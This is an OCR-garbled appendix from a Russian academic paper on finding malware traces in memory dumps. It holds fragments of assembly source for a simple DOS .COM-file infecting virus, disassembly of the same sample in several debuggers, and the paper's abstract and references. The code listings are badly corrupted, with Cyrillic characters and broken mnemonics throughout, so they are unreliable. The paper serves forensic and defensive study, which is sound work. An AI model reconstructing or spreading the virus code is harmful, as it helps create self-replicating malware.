32
33
34
35
36
37 ЗВ
39
40
41
42
43
.2 66
CSEG segment
assume cs:CSEG, ds:CSEG, esiCSEG, ss:CSEG
org 10 Oil Begin:
push offset Init ret dw 1122h f_bytes equ $-offset Begin Open_file proc
mov ax,2DD2h mov ditjLEh int 21h mov Handle, ax r.cv bit, a.K
ret
Handle dw 0FFFFh Open_file endp Close_file proc cmp Handle, je No_close mov bx,Handle mov ah,3Eh int 21h No close: ret
Close_file endp Find_first proc mov ah,4Eh xor CXjCX
mov dx,offset Mask_file int lh
ret
Mask_file db '^.com1, Find_first endp Find_next proc xor dx,dx xor cx,cx mov ah,4Fh int lh
ret
Find_next endp Infect_file proc
iriov ot,offset. Finish-offset Open_file 145 First_bytes db 4 dup (90h), OCDh, 20h
В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский
Приложение Б. Результат дисассемблирования файла VIRUS.exe отладчиком OllyDBG
Г~
С2 0С00
СС
сс
СС
сс
сс_
ей 18
68 4816900F Е8 73С40000 BF 94000000 8ВС7
Е8 6FCC0000 8965 Е8 8BF4 893Е 56
FF15 2С10000 8В46 10 A3 885R060F 8В4Е 04 890D 945P060I 8Б56 08 8915 985P060I 8В76 0С 81Е6 FF7F000I 8935 8C5P060I 83F8 02
74 0С 81СЕ 0080000 8935 8С5Р060 С1Е1 08 03СР 890D 905R060I 66:813D 0001
75 28
Al 3C00000F 81В8 0000000
75 17
0FB788 18000) 81F9 0B01000I 74 21
81F9 0В02000
74 06
8365 Е4 00 ЕВ 2ft
83В8 8400000
76 F1 ЗЗС9 3988 F800000I ЕВ И 83В8 74000001 76 DE ЗЗС9 3988 E800000I 0F95C1
894D Е4 6ft 00
Е8 FFCCFFFF 59
85С0
75 21
833D 74500601 74 05
Е8 48С80000 6ft 1С
Е8 54С60000 68 FF000000 Е8 F9C40000 59 59
8365 FC 00 Е8 F8C7FFFF 85С0 7D 08 6ft IB
E8 40C30000 59
FF15 8410000 ЯЗ 649E070F E8 786F0000 A3 6C5R060F E8 вD0ft0000
RETN 0C
INT3 INT3 INT3 INT3
INT3_
PUSH 18 PUSH 0F001648 CALL 0F01B8C8 MOU ED 1,94 MOU EAX,EDI CALL 0F01C0D0
MOU DWORD PTR SS:[EBP-18],ESP MOU ESI,ESP
MOU DWORD PTR DS:[ESI],EDI PUSH ESI
CALL DWORD PTR DS: IX8.KERNEL32.GetUersioi MOU EAX,DWORD PTR DS:[ESI+10] MOU DWORD PTR DS:[0F065A88 3,EAX MOU ECX,DWORD PTR DS:[ESI+4] MOU DWORD PTR DS:[0F065A94],ECX MOU EDX,DWORD PTR DS:[ESI+8] MOU DWORD PTR DS: [0F065A98], EDX MOU ESI,DWORD PTR DS:[ESI+0C] AMD ESI,00007FFF MOU DWORD PTR DS:[0F065A8C],ESI CMP EAX,2 JE SHORT 0F00F4A9 OR ESI,00008000
MOU DWORD PTR DS:[0F065A8C],ESI SHL ECX,8 ADD ECX,EDX
MOU DWORD PTR DS:[0F065A90],ECX CMP WORD PTR DS:[<STRUCT IMAGE_DOS_HEADl JNE SHORT 0F00F4E7 MOU EftX,DWORD PTR DS:[0F00003C] CMP DWORD PTR DS: [EAX+<STRUCT IMAGE_DOS. JNE SHORT 0F00F4E7 MOUZX ECX,WORD PTR DS:[EAX+0F000018] CMP ECX,10B JE SHORT 0F00F500 CMP ECX,20B JE SHORT 0F00F4ED
AND DWORD PTR SS:[EBP-1CI,00000000
JMP SHORT 0F00F517
CMP DWORD PTR DS:[EftX+0F000084I,0E
JBE SHORT 0F00F4E7
XOR ECX ECX
CMP DWORD PTR DS:[EAX+<STRUCT IMAGE_OPT
JMP SHORT 0F00F511
CMP DWORD PTR DS:[EftX+0F000074I,0E
JBE SHORT 0F00F4E7
XOR ECX ECX
CMP DWORD PTR DS:[EAX+0F0000E8],ECX SETNE CL
MOU DWORD PTR SS:[EBP-1C],ECX PUSH 0
CALL 0F00C21D
POP ECX
TEST EAX,EAX
JNZ SHORT 0F00FS44
CMP DWORD PTR DS:[0F065A74],2
JE SHORT 0F00F531
CALL 0F01BD79
PUSH 1С
CALL 0F01BB8C
PUSH OFF
CALL 0F01BA3B
POP ECX
POP ECX
AND DWORD PTR SS:[EBP-4I,00000000
CALL 0F00BD45
TEST EAX,EAX
JGE SHORT 0F00F559
PUSH IB
CALL 0F01B898
POP ECX
CALL DWORD PTR DS: [<8,KERNEL32.GetCorman. MOU DWORD PTR DS: [0F079E64],EAX CALL 0F0164E1
MOU DWORD PTR DS:[0F065A6C],EAX
CHI [ 0F00FFFM_
Allocates 148. bytes on stack
■OsVersIon Info LKERNEL32.GetUersIon Ex A
ftSCII "./V05"
rArgl = 0
Int udrt_ex e. 0F00C21D
rArgl = 1С L n t udn_ex e. 0F01BB8C
rArgl = IB L n t udi4_ex e. 0F01B898
С KERNEL32.Get Comman dL i n eA
С n t udi4_ex e. 0F0164E1
CntudM e«e.0F00FFE0_
Приложение В. Результат дисассемблирования файла VIRUS.exe
программой IDA Pro Advanced
segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: 0104 segOOO: 01 Oil segOOO:0104
This file is generated by The Interactive Disassembler (IDA) Copyright (c) 2007 by DataRescue sa/nu, <ida@datarescue .con>
| Licensed to: Mach EDU Dienstleistungen, Jan Mach, 1 user, adu, 11/2007 | ♦-------------------------------------------------------------------------♦
Input MDS : 17D767S4662F16DB92EC23A42A08F4DD
File Name : C:\Documents and Settings\Admin\[pcnijuiui eEiou\UIRUS.exe Format : MS-DOS COM-file
Base Address: Oh Range: 1O0h-214h Loaded length: 114h .386
.model tiny
01OO ; Segment type: Pure code
010O segOOO segment byte public ■CODE1 use16
0100 assume cs:segO0O
0100 org 1 OOh
0100 assume es:nothing, ss:nothing, ds:segB
0103 01 03
01 Oil
segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO:
01D1 01D2 01D3 01D6 01D9
01 DA _
01 DA SI^H 01 DA
01DA ; -
01 DB 01 DB 01 DB 01 DB 01 DB 01 DB
01 DB segOOO
01 DB 01 DB 01 DB
fs:nothing, gs:nothing
S U В R 0 U T
public start proc Far push 1B4h retn
N E
db 22h, 11h, 0B8h, 2, 3Dh, OBAh, 1Eh, 0, OCDh, 21h, 0A3h db 14h, 1, 8Bh, 0D8h, 0C3h, 2 dup(OFFh), 83h, 3Eh, 1lth db 1, OFFh, 74h, 8, 8Bh, 1Eh, 1Hh, 1, 0B4h, 3Eh, OCDh db 21h, 0C3h, 0B4h, 4Eh, 33h, 0C9h, OBAh, 30h, 1, OCDh db 21h, 0G3h, 2Ah, 2Eh, 63h, 6Fh, 6Dh, 0, 33h, 0D2h, 33h
push cs
push bx
mou bx, 1DBh
push OBFOOh
push bx
retF_
entlp ; sp analysis Failed
db OEh, 1Fh, 0B4h, 1Ah, 33h, 0D2h, OCDh, 21h, 0E8h, DBh db OFFh, 72h, OAh, 0E8h, 54h, OFFh, 73h, 5, 0E8h, 46h db OFFh, 73h, 0F6h, OBEh, OEh, 2, OBFh, O, 1, 16h, 7, 0B9h db 6, 0, 0F3h, 0A4h, OCBh, OEh, 1Fh, 0B4h, 1Ah, OBAh, 80h db 0, OCDh, 21h, 61h, 68h, 0, 1, 0C3h, 4 dup(90h), OCDh
db 2Oh ends
end start
В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский
Приложение Г. Результат дисассемблирования файла VIRUS.exe отладчиком AFD Рго
ЙХ 0000 SI 0000 CS 1DF6 IP 0100
ВХ 0000 DI 0000 DS 1BF6
СХ 0114 BP 0000 ES 1BF6 HS 1BF6
ВХ 0000 SP FFFE SS 1BF6 FS 1BF6
Stack +0 0000 Flags 7202 *2 20СВ
*4 9FFF OF BF IF SF ZF fiF PF CF
+6 9fiO0 00100000
CMD
0103 C3 ЙЕТ
10104 2211 »N0 DL,CBX+DI ]
0106 B8023B мои flX,3D02
Й109 BfilEOO мои ВХ,001Е
01 ОС CB21 1ЫТ 21
fc)10E Й31401 мои [0114],ЙХ
0111 8BB8 мои BX.fiX
3 01234567
BS:0000 CB 20 FF 9F 00 9A FO FE
BS:0010 11 04 56 01 11 04 56 05
BS:0020 FF FF FF FF FF FF FF FF
BS:0030 66 05 14 00 18 00 F6 IB
BS:0040 05 00 00 00 00 00 00 00
Э
BS:0000 BS:0ОШ8 DS:0010 DS:0018 DS:0O20 DS:0028 BS:0O30 BS:0038 DS:0040 DS:0048
89ftBCDEF ID FO IB 05 89 ОЙ 4B 01 01 01 01 00 02 FF FF FF FF FF FF FF fiF IB CO 11 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00
2 3 4 5 FF 9F 00 9fi IB 05 89 0Й 56 01 11 04
= Я.ЪЕ| .Е..Й.К.
. -U...U......
п. L.
f.....g.
□ Step EProcStepERetrieveKJlelp ON EBRK MenuE E up |] dn Ц le 1 ri
Приложение Д. Результат дисассемблирования файла VIRUS.exe отладчиком Ети8086
registers
АХ
ВХ
СХ
DX
CS
IP
SS
SP
BP
SI
DI
DS
ES
00 00
00 00
01
00 00
07 00
0100
07 00
FFFE
0000
0000
0000
07 00
07 00
0700:0100
0700:0100
07100: 68 101 h 07101: B1 180 | 07102: 01 001 0
07103: 07101: 07105: 07106: 07107: 07108: 07109: 0710fi: 0710B: 0710C: 0710D: 0710E: 0710F: 07110: 07111: 07112: 07113: 07111: 07115: 07116: 07117: 07118: 07119: 0711fi: 0711B:
C3 195 1
22 031 л
11 017 4
B8 181 1
02 002 8
3D 061 =
Bfi 186 II
IE 030 A
00 ООО NULL
CD 205 =
21 033 !
fi3 163 г
11 020 11
01 001 @
8B 139 0
D8 216 ± T
C3 195 I
FF 255 RES
FF 255 RES
83 131 Г
3E 062 >
11 020 11
01 001 6
FF 255 RES
71 116 t
PUSH 00lB1h
RET
fiND DL, [BX + DI] ЮТ flU, 03D02h ЮТ DX, OODlEh INT 0£lh
ЮТ [OOlUhl, HX Ш BX, fix
RET
BIDS DI
CUP u.IOOlllhl, OFFh JZ 0125h 1Ш BX, [OOlHh] ЮТ AH, 03Eh INT D21h RET
N04 AH, 01Eh XOR СХ, CX НОЧ DX, 00130h INT 021h RET
SUB CH, [06F63hl INSll
fiDD IBP + DI], DH SHL ЬЛВР + DI], CL LEAVE
Н0Ч AH, 01Fh INT D21h
Cloud of Science. 2018. T. 5. № 2 http:/ / cloudofscience.ru
Methods of identifying traces of malicious software in the dump of memory
V. Yu. Ivanov*, K. Yu. Zhigalov**,***, A. I. Alchinov**, Yu. A. Pavensky*
*Moscow University of the Ministry of the Interior of Russia St. Ak. Volgina, 12, Moscow, Russia, 117437
**V. A. Trapeznikov Institute of Control Sciences of Russian Academy of Sciences Profsouznaya st. 65, Moscow, Russia, 117997
***Moscow Technological Institute St. Kedrova 8, build., 2, Moscow, Russia, 117292
e-mail: kshakalov@mail.ru, ivsl71@mail.ru
Abstract. General features of resident and non-resident viruses from the point of view of «Assembly» programming language are considered. Analyzing methods of counteracting the study of traces of malicious executable code. On the basis of the conducted researches results of analysis of the detected malicious software and a study of the marks left by it is also made recommendations, which will allow to significantly reduce the expert's time during similar actions.
Keywords: anti-debugging, anti-disassembly anti-startup in virtual machines, Sift Workstation 3.0 operating system, the programming language «Assembler».
References
[1] Ehkzaryan D. A. et al. (2015) Matematicheskie metody v tekhnike i tekhnologiyah, 5(75):49-51.
[2] Knut D. E. (2008) Iskusstvo programmirovaniya. Vol. 1. Osnovnye algoritmy. Moscow. [In Rus]
[3] Kliment'ev K. E. (2015) Komp'yuternye virusy i antivirusy. Moscow. [In Rus]
[4] Vlasov D. V., Minaev A. S. (2014) Informaciya i bezopasnost'. 17(2):308-311. [In Rus]
[5] https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal
[6] Guo Z., Bhakta R., Harris I. G. (2014) Control-flow checking for intrusion detection via a real-time debug interface. In 2014 SMARTCOMP Workshops. IEEE. P. 87-92
[7] Crane S. J., Volckaert S., Schuster F., et al. (2015) It's a TRaP: Table Randomization and Protection against Function-Reuse Attacks. In Proc. of the 22nd ACM SIGSAC Conference on Computer and Communications Security. P. 243-255.
[8] Petuhov S. G., Zhigalov K. Yu. (2016) Sovremennye tendencii obespecheniya zashchity in-formacii v malom i srednem biznese Rossii. In Proc. ART2016. P. 251-256. [In Rus]
[9] Simanin V. A., Zhigalov K. Yu. (2017) Etapy preodoleniya sistem zashchity programmnogo obespecheniya. In Proc ART2017. P. 343-347. [In Rus]
[10] Wartell R., Mohan V., Hamlen K. W. et al. (2012) Securing untrusted code via compiler-agnostic binary rewriting. In Proc. of the 28th Annual Comp. Security Appl. Conf. P. 299-308